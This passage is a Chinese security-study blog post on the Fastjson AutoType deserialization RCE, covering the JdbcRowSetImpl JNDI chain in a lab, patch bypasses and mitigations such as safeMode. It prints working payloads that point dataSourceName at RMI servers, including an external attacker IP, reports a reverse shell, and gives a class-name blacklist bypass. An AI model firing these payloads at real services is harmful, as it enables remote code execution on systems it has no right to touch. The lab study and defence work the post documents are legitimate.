public static void main(String[] args) {Person person = new Person();person.setName("Tr0e");person.setAge(18);System.out.println("--------------序列化-------------");String typeJson = JSON.toJSONString(person, SerializerFeature.WriteClassName);System.out.println(typeJson);System.out.println("-------------反序列化-------------");String JSON_Serialize = "{\"@type\":\"com.tr0e.sec.Entity.Person\",\"age\":18,\"name\":\"Tr0e\"}";ParserConfig.getGlobalInstance().addAccept("com.tr0e.sec.Entity");Object man =  JSON.parse(JSON_Serialize);System.out.println(man.getClass().getName());System.out.println(man);}

【注意】由于 fastjson 在 1.2.24 版本(最开始存在反序列化漏洞的版本)之后默认禁用 AutoType,因此这里我们通过 ParserConfig.getGlobalInstance().addAccept("com.tr0e.sec.Entity");来手动开启白名单,否则会报错 “autoType is not support”。
imagepng
反序列化过程
为了从 Fastjson 最初的漏洞版本 1.2.24 开始讨论,修改 Fastjson 版本:

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency>

修改下 JavaBean,增加日志打印:

package com.tr0e.sec.Entity;public class Person {public String name;public int age;public Person(){}public Person(int age, String name) {System.out.println("调用了构造函数");this.age = age;this.name = name;}public String getName() {System.out.println("getName");return name;}public void setName(String name) {System.out.println("setName");this.name = name;}public int getAge() {System.out.println("getAge");return age;}public void setAge(int age) {System.out.println("setAge");this.age = age;}
}

进行反序列化调用:

System.out.println("-------------反序列化-------------");
String JSON_Serialize3 = "{\"@type\":\"com.tr0e.sec.Entity.Person\",\"age\":18,\"name\":\"Tr0e\"}";
System.out.println(JSON.parseObject(JSON_Serialize3));

输出结果如下所示:
imagepng
可以看到 Fastjson 反序列化过程中,会调用 JavaBean 的 setter 和 getter 方法。

反序列化漏洞

回顾下 阿里巴巴官方文档 解释 AutoType:Fastjson 支持 AutoType 功能,这个功能会在序列化的 JSON 字符串中带上类型信息,在反序列化时,不需要传入类型,实现自动类型识别。

前面的学习示例已经演示了 AutoType 功能。小结一下:有了 AutoType 功能,那么 Fastjson 在对 JSON 字符串进行反序列化的时候,就会读取@type到内容,试图把 JSON 内容反序列化成这个对象,并且会调用这个类的 setter 方法。那么利用 AutoType 这个特性,可不可以自己构造一个 JSON 字符串,并且使用@type指定一个自己想要使用的攻击类库?答案是肯定的。

举个例子,攻击者比较常用的攻击类库是com.sun.rowset.JdbcRowSetImpl,这是 sun 官方提供的一个类库,这个类的 dataSourceName 支持传入一个 rmi 的源,当解析这个 uri 的时候,就会支持 RMI 远程调用,去指定的 RMI 地址中去调用方法。而 Fastjson 在反序列化时会调用目标类的 setter 方法,那么如果黑客在 dbcRowSetImpl 的 dataSourceName 中设置了一个想要执行的命令,那么就会导致存在远程命令执行的风险。

比如通过以下方式定义一个 JSON 串,即可实现远程命令执行(新版本中 JdbcRowSetImpl 已经被加了黑名单):

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

这就是所谓的 Fastjson 反序列化漏洞造成远程命令执行的基本原理,下面通过实际的靶场案例来进一步分析。

漏洞靶场

https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/ComponentsVul/FastjsonVul.java

/** Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象* Github:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN**/
@Api("Fastjson反序列化漏洞")
@Slf4j
@RestController
@RequestMapping("/Fastjson")
public class FastjsonVul {@RequestMapping(value = "/vul", method = {RequestMethod.POST})public String vul(@RequestBody String content) {try {// 转换成objectJSONObject jsonToObject = JSON.parseObject(content);log.info("[vul] Fastjson");return jsonToObject.get("name").toString();} catch (Exception e) {return e.toString();}}
}

此靶场的 Fastjson 版本:

<!-- Fastjson 1.2.24存在rce漏洞 -->
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.41</version>
</dependency>

一键搭建 RMI 与 ldap 服务,远程调用成功:
imagepng
imagepng
在这里插入图片描述

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://1xx.xx.xx.227:1099/roakzi","autoCommit":true,"age":19,"id":2,"name":"test"
}

成功反弹 Shell:
imagepng
JdbcRowSetImpl 利用链分析

根据 FastJson 反序列化漏洞原理,FastJson 将 JSON 字符串反序列化到指定的 Java 类时,会调用目标类的 getter、setter 等方法。JdbcRowSetImpl 利用链的核心问题出在JdbcRowSetImpl#setDataSourceNameJdbcRowSetImpl#setAutoCommit方法中存在可控的参数。

其中setDataSourceName()方法会设置 dataSource 的值:
imagepng
setAutoCommit()会调用 connect() 方法,connect() 函数如下:
imagepng
imagepng
关注上面 325-326 行,熟悉的 JNDI 注入代码特征,这也解释了《Java反序列化漏洞与URLDNS利用链分析》开篇提到的疑惑,即为什么 Fastjson 反序列化漏洞利用过程采用的是 JNDI 注入。

可以通过一个简单的代码示例进一步验证下:

    public static void main(String[] args) throws Exception {JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/viwnim");JdbcRowSetImpl_inc.setAutoCommit(true);}

【More】Fastjson 漏洞的另外一条利用链路—— Templateslmpl 利用链的原理和使用方法可以参见:《完全零基础入门Fastjson系列漏洞(基础篇)》、《Java 反序列化漏洞原理(三)fastjson 1.2.24 Templateslmpl 利用原理》。

检测工具

同样可以使用 BurpSuite 多漏洞集成探测插件:Tsojan/TsojanScan。
imagepng
imagepng

补丁绕过

Fastjson 1.2.24 被爆出反序列化漏洞(CVE-2017-18349)之后,由于 Fastjson 被广泛运用在 Java 项目之中,受到漏洞研究人员和黑客的广泛关注,于是 Alibaba 团队发布的几个版本的补丁,陆续被业界给 Bypass 掉了,下面简单了解介绍一下这场 “战争”。

【1.2.25 -1.2.41 版本绕过】
在 1.2.24 版本会直接加载 @type 指向的类,而 1.2.25 版本增加了对类的 checkAutoType() 检查,会对要加载的类进行白名单和黑名单限制,并且引入了一个配置参数 AutoTypeSupport。

Fastjson 默认 AutoTypeSupport 为False(默认开启白名单机制),需要通过服务端使用以下代码手动关闭,这一点是高版本一个难以绕过的地方。

// 全局开启AutoType,不建议使用
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// 建议使用这种方式,小范围指定白名单
ParserConfig.getGlobalInstance().addAccept("xxx.xxx.");

可以看到在开启白名单的条件下无法加载到我们的利用类:

这里我们修改autoTypeSupport=true,跟进TypeUtils#loadClass看一下:

  1. 如果以[开头则去掉[后进行类加载(在之前 Fastjson 已经判断过是否为数组了,实际走不到这一步);
  2. 如果以L开头,以;结尾,则去掉开头和结尾进行类加载;

那么加上L开头和;结尾实际上就可以绕过所有黑名单。Payload 如下:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://1xx.xx.xx.227:1099/roakzi","autoCommit":true
}

AutoType 安全模式

Fastjson 漏洞的利用几乎都是围绕 AutoType 来的,于是在 v1.2.68 版本中,Fastjson 引入了 safeMode 属性,配置 safeMode 后,无论白名单和黑名单,都不支持 autoType,设置了 safeMode 后,@type字段不再生效,即当解析形如{"@type":"com.java.class"}的 JSON 串时,将不再反序列化出对应的类,可一定程度上缓解反序列化类变种攻击。

ParserConfig.getGlobalInstance().setSafeMode(true); 

【More】Fastjson 被 Bypass 的补丁版本还涉及 1.2.42、1.2.43、1.2.44、1.2.45、1.2.47、1.2.48、1.2.68、1.2.80 等,值得另外整体学习,后续会单独学习记录下各个版本的 Bypass 原理和方式,以及 Fastjson 通过 Templateslmpl 利用链远程加载恶意类的字节码完成 RCE 的原理。

总结

本文学习了 JNDI 基本概念和 JNDI 注入的基本原理,并通过靶场实践 JNDI 注入漏洞的利用过程,与此同时学习了 Log4j RCE 漏洞(CVE-2021-44228)和 Fastjson 反序列化漏洞(CVE-2017-18349)的原理,并通过靶场实践借助 JNDI 注入完成 RCE 的过程。

这个过程中也可以看到著名的 Java 第三方组件也可能隐藏着“显而易见”的致命漏洞(相信 Log4j 能够“潜伏”那么多年估计也是诸多 Java 安全研究员始料未及的),在具备扎实的基本功和熟练了解相关组件特性的情况下,或许挖洞者跟漏洞之间的距离就差一颗敢于质疑、敢于挑战的心?

本文参考文章如下:

  1. JNDI注入详解 - FreeBuf;
  2. JNDI注入利用原理及绕过高版本JDK限制;
  3. Apache Log4j2 漏洞分析 | Gta1ta’s Blog;
  4. Apache Log4j2 Jndi RCE 高危漏洞分析与防御;
  5. Java安全:Fastjson反序列化漏洞 - 枫のBlog;
  6. 强烈推荐:完全零基础入门Fastjson系列漏洞(基础篇);

相关文章:

从Log4j和Fastjson RCE漏洞认识jndi注入

文章目录 前言JNDI注入基础介绍靶场搭建漏洞验证注入工具 log4j RCE漏洞分析漏洞靶场检测工具补丁绕过 Fastjson RCE漏洞分析漏洞靶场检测工具补丁绕过 总结 前言 接着前文的学习《Java反序列化漏洞与URLDNS利用链分析》&#xff0c;想了解为什么 Fastjson 反序列化漏洞的利用…...

7-25 数字三角形问题

7-25 数字三角形问题 分数 10 全屏浏览 作者 夏仁强 单位 贵州工程应用技术学院 给定一个由n行数字组成的数字三角形如下图所示。试设计一个算法&#xff0c;计算出从三角形的顶至底的一条路径&#xff0c;使该路径经过的数字总和最大。 对于给定的由n行数字组成的数字三角…...

【Kafka专栏 08】ZooKeeper的Watch机制:不就是个“小喇叭”吗?

作者名称&#xff1a;夏之以寒 作者简介&#xff1a;专注于Java和大数据领域&#xff0c;致力于探索技术的边界&#xff0c;分享前沿的实践和洞见 文章专栏&#xff1a;夏之以寒-kafka专栏 专栏介绍&#xff1a;本专栏旨在以浅显易懂的方式介绍Kafka的基本概念、核心组件和使用…...

三极管的厄利效应(early effect)

詹姆斯M厄利(James M. Early)发现的现象&#xff0c;厄利效应&#xff08;英语&#xff1a;Early effect&#xff09;&#xff0c;又译厄尔利效应&#xff0c;也称基区宽度调制效应&#xff0c;是指当双极性晶体管&#xff08;BJT&#xff09;的集电极&#xff0d;射极电压VCE改…...

Maven: 编码GBK的不可映射字符不能编译

使用mvn compile命令&#xff0c;出现错误: 编码GBK的不可映射字符不能编译。这是因为代码或注释中存在中文引起的&#xff0c;一般在ide中会自动处理编译时的字符集&#xff0c;就不会碰到这个错误。这个错误是在生成代码后&#xff0c;其中自动加上了中 文注释&#xff0c;手…...

《web应用技术》第十一次课后作业

1、验证过滤器进行权限验证的原理。 Filter过滤器&#xff1a;javaweb三大组件(Servlet,Filter,Listener)之一&#xff1b;过滤器可以把对资源的请求拦截下来&#xff0c;从而实现一些特殊功能&#xff1b;过滤器一般完成一些通用操作&#xff0c;比如登录校验等。 执行对应的…...

flutter中实现首行缩进两端对齐

刚开始进行搜索&#xff0c;发现很多都是让在每段开始的时候采用空格进行填充&#xff0c;但是采用这种形式之后&#xff0c;不知道为何首行直接溢出了&#xff0c;最后采用下面方法进行实现的。 RichText(text: TextSpan(children: [WidgetSpan(child: Container(width: 20, …...

Vitis HLS 学习笔记--Vitis Accelerated Libraries介绍

目录 1. 简介 2. 库的文件结构 3. 分类介绍 3.1 blas 3.2 codec 3.3 data_analytics 3.4 data_compression 3.5 data_mover 3.6 database 3.7 dsp 3.8 graph 3.9 hpc 3.10 motor_control 3.11 quantitative_finance 3.12 security 3.13 solver 3.14 utils 3…...

Vue3-滑动到最右验证功能

1、思路 1、在登录页面需要启动向右滑块验证 2、效果图 3、文章地址&#xff1a;滑动验证码的实现-vue-simple-verify 2、成分分析 1、由三块构成&#xff0c;分别是底部条、拖动条、拖动移动部分 2、底部条&#xff1a;整体容器&#xff0c;包括背景、边框和文字&#xf…...

深入理解MyBatis XML配置文件

MyBatis是一款优秀的持久层框架&#xff0c;简化了数据库操作的复杂性&#xff0c;提高了开发效率。在MyBatis中&#xff0c;XML配置文件扮演了重要角色&#xff0c;用于配置数据源、事务管理、SQL映射等内容。本文将详细介绍MyBatis的XML配置文件&#xff0c;帮助读者更好地理…...

006 CentOS 7.9 elasticsearch7.10.0安装及配置

文章目录 一、安装Elasticsearch 7.10.0二、安装Logstash 7.10.0三、配置防火墙和网络访问可能出现的错误配置 Elasticsearch官方网址&#xff1a; https://www.elastic.co Elasticsearch中文官网地址&#xff1a;https://www.elastic.co/cn/products/elasticsearch https://…...

蚂蚁分类信息系统二开仿么么街货源客模板微商货源网源码(带手机版)

源码介绍 网站采用蚂蚁分类信息系统二次开发&#xff0c;模板仿么么街货源客模板&#xff0c;微商货源网定制版。 模板设计风格简洁&#xff0c;分类信息采用列表形式发布&#xff0c;这种设计方式非常符合度娘 SEO 规则。收录效果是杠杠的。 这个网站风格目前是用来做货源推…...

综合数据分析及可视化实战

【实验目的】 1、掌握数据分析常用的几种扩展库: numpy、pandas、matplotlib。 2、理解数据分析的几种方法&#xff0c;即描述性数据分析&#xff0c;探索性数据分析 和验证性数据分析。 3、理解数据分析的基本步骤:数据准备、数据导入、数据预处理、数 据分析和数据可视化…...

N32G45XVL-STB之移植LVGL(8.4.0)

目录 概述 1 系统软硬件 1.1 软件版本信息 1.2 ST7796-LCD 1.3 MCU IO与LCD PIN对应关系 2 认识LVGL 2.1 LVGL官网 2.2 下载V8.4.0 3 移植LVGL 3.1 硬件驱动实现 3.2 添加LVGL库文件 3.3 移植和硬件相关的代码 3.3.1 驱动接口相关文件介绍 3.3.2 重新接口函数 3…...

SwaggerSpy:一款针对SwaggerHub的自动化OSINT安全工具

关于SwaggerSpy SwaggerSpy是一款针对SwaggerHub的自动化公开资源情报&#xff08;OSINT&#xff09;安全工具&#xff0c;该工具专为网络安全研究人员设计&#xff0c;旨在简化广大红队研究人员从SwaggerHub上收集已归档API信息的过程&#xff0c;而这些OSINT信息可以为安全人…...

Python酷库之旅-比翼双飞情侣库(05)

目录 一、xlrd库的由来 二、xlrd库优缺点 1、优点 1-1、支持多种Excel文件格式 1-2、高效性 1-3、开源性 1-4、简单易用 1-5、良好的兼容性 2、缺点 2-1、对.xlsx格式支持有限 2-2、功能相对单一 2-3、更新和维护频率低 2-4、依赖外部资源 三、xlrd库的版本说明 …...

numpy数组transpose方法的基本原理

背景&#xff1a;记录一下numpy数组维度顺序操作 一、具体示例 transpose方法用于交换数组的轴&#xff0c;改变数组的维度顺序。方法的参数是一个代表新轴顺序的元组。 假设你有一个三维数组&#xff0c;其形状是 (a, b, c)&#xff0c;即有 a 个块&#xff0c;每个块中有 b…...

Docker Swarm集群部署管理

Docker Swarm集群管理 文章目录 Docker Swarm集群管理资源列表基础环境一、安装Docker二、部署Docker Swarm集群2.1、创建Docker Swarm集群2.2、添加Worker节点到Swarm集群2.3、查看Swarm集群中Node节点的详细状态信息 三、Docker Swarm管理3.1、案例概述3.2、Docker Swarm中的…...

碎片化知识如何被系统性地吸收?

一、方法论 碎片化知识指的是通过各种渠道快速获取的零散信息和知识点&#xff0c;这些信息由于其不完整性和孤立性&#xff0c;不易于记忆和应用。为了系统性地吸收碎片化知识&#xff0c;可以采用以下策略&#xff1a; 1. **构建知识框架**&#xff1a; - 在开始吸收之前&am…...

安鸾学院靶场——安全基础

文章目录 1、Burp抓包2、指纹识别3、压缩包解密4、Nginx整数溢出漏洞5、PHP代码基础6、linux基础命令7、Mysql数据库基础8、目录扫描9、端口扫描10、docker容器基础11、文件类型 1、Burp抓包 抓取http://47.100.220.113:8007/的返回包&#xff0c;可以拿到包含flag的txt文件。…...

ChatGPT:自然语言处理的新纪元与OpenAI的深度融合

随着人工智能技术的蓬勃发展&#xff0c;自然语言处理&#xff08;NLP&#xff09;领域取得了显著的进步。OpenAI作为这一领域的领军者&#xff0c;以其卓越的技术实力和创新能力&#xff0c;不断推动着NLP领域向前发展。其中ChatGPT作为OpenAI的重要成果更是在全球范围内引起了…...

AI引领项目管理新时代:效率与智能并驾齐驱

在数字化浪潮的推动下&#xff0c;项目管理领域正迎来一场由AI技术引领的革新。从自动化任务执行到智能决策支持&#xff0c;AI技术的应用正让项目管理变得更加高效、精准和智能化。本文将探讨项目管理人员及其实施团队如何运用AI技术&#xff0c;以及这些技术如何助力项目管理…...

AUTOSAR汽车电子嵌入式编程精讲300篇-电池管理系统中 CAN 通信模块的设计与应用(中)

目录 2.3 BMS 中 CAN 通信模块软硬件设计 2.3.1 CAN 通信模块硬件电路设计 2.3.2 CAN 通信模块软件设计 2.3.2.1 CAN 底层程序设计 2.3.2.2 CAN 底层初始化 2.3.2.3 CAN 底层接收 3.3.1.3 CAN 底层发送 2.4 通信协议的实现 2.4.1 整车通信协议的实现 2.4.2 充电机通信协议的实现…...

k8s概述

文章目录 一、什么是Kubernetes1、官网链接2、概述3、特点4、功能 二、Kubernetes架构1、架构图2、核心组件2.1、控制平面组件&#xff08;Control Plane Components&#xff09;2.1.1、kube-apiserver2.1.2、etcd2.1.3、kube-scheduler2.1.4、kube-controller-manager 2.2、No…...

多线程的运用

在现代软件开发中&#xff0c;多线程编程是一个非常重要的技能。多线程编程不仅可以提高应用程序的性能&#xff0c;还可以提升用户体验&#xff0c;特别是在需要处理大量数据或执行复杂计算的情况下。本文将详细介绍Java中的多线程编程&#xff0c;包括其基本概念、实现方法、…...

TF-IDF(Term Frequency-Inverse Document Frequency)算法

TF-IDF&#xff08;Term Frequency-Inverse Document Frequency&#xff09;是一种用于文本挖掘和信息检索的统计方法&#xff0c;主要用于评估一个单词在一个文档或一组文档中的重要性。它结合了词频&#xff08;TF&#xff09;和逆文档频率&#xff08;IDF&#xff09;两个指…...

富格林:细心发现虚假确保安全

富格林指出&#xff0c;现货黄金市场内蕴藏着丰富的盈利机会&#xff0c;然而并非所有人都能够抓住这些机会。要想从市场中获取丰厚的利润并且保障交易的安全&#xff0c;必须要求我们掌握一些交易技巧利用此去发现虚假陷阱。当我们不断汲取技巧过后&#xff0c;才可利用此来发…...

6.2 文件的缓存位置

1. 文件的缓冲 1.1 缓冲说明 将文件内容写入到硬件设备时, 则需要进行系统调用, 这类I/O操作的耗时很长, 为了减少I/O操作的次数, 文件通常使用缓冲区. 当需要写入的字节数不足一个块时, 将数据放入缓冲区, 当数据凑够一个块的大小后才进行系统调用(即I/O操作).系统调用: 向…...

在Elasticsearch中,过滤器(Filter)是用于数据筛选的一种机制

在Elasticsearch中&#xff0c;过滤器&#xff08;Filter&#xff09;是用于数据筛选的一种机制&#xff0c;它通常用于结构化数据的精确匹配&#xff0c;如数字范围、日期范围、布尔值、前缀匹配等。过滤器不计算相关性评分&#xff0c;因此比查询&#xff08;Query&#xff0…...

MySQL----主键、唯一、普通索引的创建与删除

创建索引 CREATE INDEX index_name ON table_name (column1 [ASC|DESC], column2 [ASC|DESC], ...);CREATE INDEX: 用于创建普通索引的关键字。index_name: 指定要创建的索引的名称。索引名称在表中必须是唯一的。table_name: 指定要在哪个表上创建索引。(column1, column2, ……...

做soho外贸网站/怎样自己做网站

在介绍KDE和Gnome之前&#xff0c;我们有必要先来介绍UNIX/Linux图形环境的概念。对一个习惯Windows的用户来说&#xff0c;要正确理解UNIX/Linux的图形环境可能颇为困难&#xff0c;因为它与纯图形化Windows并没有多少共同点。Linux实际上是以UNIX为模板的&#xff0c;它继承了…...

有哪些做app的网站/武汉网络推广seo

假设有 ABC 三个人通信&#xff0c;则需要事先为三个人分配不同的码片向量&#xff0c;码片向量必须满足&#xff1a; 码片向量的规范化内积为 1不同人之间的码片向量正交 例如&#xff1a; A (1, 1, 1, 1)B (1, 1, -1, -1)C (1, -1, 1, -1) 发送数据时&#xff1a; 将码片…...

网站建设公司怎么做好/推广排名

1.下载第一个阿里云仓库文件wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo-O 参数 &#xff0c;指定一个下载地址&#xff0c;且改名2.配置第二个仓库文件 epel 额外仓库&#xff08;redis&#xff0c;nginx&#xff0c;mongo&…...

网站建设和推广评价指标/上海网站seo公司

✨个人主页&#xff1a; Yohifo &#x1f389;所属专栏&#xff1a; Linux学习之旅 &#x1f38a;每篇一句&#xff1a; 图片来源 &#x1f383;操作环境&#xff1a; CentOS 7.6 阿里云远程服务器 Great minds discuss ideas. Average minds discuss events. Small minds disc…...

手把手教做网站/市场调研分析报告怎么写

ClassLoad类加载器读取ClassPath路径下的配置文件并完成创建JDBC链接&#xff08;二&#xff09; 一项目描述 1、通过ClassLoad类加载器读取配置文件的方式&#xff0c;实现创建JDBC链接数据库 2、读取配置文件的方法是一个工厂方法&#xff0c;返回一个 Connection类型链接的…...

网站开发技术服务协议/做一套二级域名网站怎么做

点击上方“Java基基”&#xff0c;选择“设为星标”做积极的人&#xff0c;而不是积极废人&#xff01;源码精品专栏 原创 | Java 2020 超神之路&#xff0c;很肝~中文详细注释的开源项目RPC 框架 Dubbo 源码解析网络应用框架 Netty 源码解析消息中间件 RocketMQ 源码解析数据库…...